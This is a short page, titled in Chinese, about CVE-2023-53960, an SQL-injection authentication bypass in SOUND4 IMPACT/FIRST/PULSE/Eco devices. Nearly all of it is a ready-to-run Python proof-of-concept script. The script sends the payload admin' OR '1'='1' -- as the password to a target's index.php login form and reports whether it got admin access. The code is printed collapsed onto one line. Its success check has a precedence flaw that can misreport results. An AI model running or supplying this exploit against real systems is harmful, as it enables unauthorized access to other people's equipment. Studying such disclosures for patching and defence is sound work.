CVE-2023-53960 SOUND4 IMPACT/FIRST/PULSE/Eco SQL注入认证绕过漏洞

import requests import sys # CVE-2023-53960 SQL Injection Authentication Bypass PoC # Target: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x # Reference: https://www.exploit-db.com/exploits/51171 def exploit(target_url): """ Exploit SQL injection in login form to bypass authentication """ # Target endpoint login_url = f"{target_url}/index.php" # SQL injection payload - bypass authentication # This payload exploits the password parameter payload = "admin' OR '1'='1' --" # Prepare POST data data = { 'username': 'admin', 'password': payload } # Headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious request...") try: response = requests.post(login_url, data=data, headers=headers, timeout=10, allow_redirects=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for signs of successful authentication bypass if response.status_code in [200, 302] and 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print("[+] Authentication bypass potentially successful!") print("[+] Check response for admin session cookies or protected content") return True else: print("[-] Exploit may have failed, check response manually") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)